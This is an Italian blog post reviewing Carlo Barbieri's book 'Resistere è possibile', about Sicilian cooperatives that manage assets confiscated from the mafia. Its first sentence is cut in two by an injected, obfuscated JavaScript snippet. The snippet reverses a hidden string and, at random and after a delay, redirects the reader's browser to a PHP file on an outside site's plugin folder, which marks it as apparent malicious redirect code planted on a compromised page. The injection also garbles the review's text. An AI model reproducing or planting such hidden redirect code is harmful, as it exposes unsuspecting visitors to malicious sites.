Resistere è possibile – il libro

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Da lontano sembrano le canne fumanti di una lupara; guard (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando meglio si capisce che sono due penne rigate, o maccheroni a seconda di come li vogliamo chiamare. è la significativa copertina di questo libro, sottotitolo “La mafia esiste, ma anche l’Italia”.
Carlo Barbieri racconta con passione e umanità la storia delle cooperative sociali che gestiscono i beni confiscati alla mafia, in Sicilia. Una storia fatta di persone prima di tutto, di voglia di fare e di coraggio, quel coraggio che non viene meno nemmeno dopo le minacce e le ritorsioni: come quando i campi della cooperativa Placido Rizzotto a Portella della Ginestra furono bruciati da un incendio doloso, neanche un anno fa, proprio durante una commemorazione della strage di Via D’Amelio. è per non passare sotto silenzio cose come questa che in tanti si danno da fare, nella convinzione che per cambiare le cose bisogna mettere ‘le mani in pasta, appunto.
Il libro contiene anche significativi contributi di Gian Carlo Caselli e Nando dalla Chiesa. Si può comprare nei supermercati Coop.

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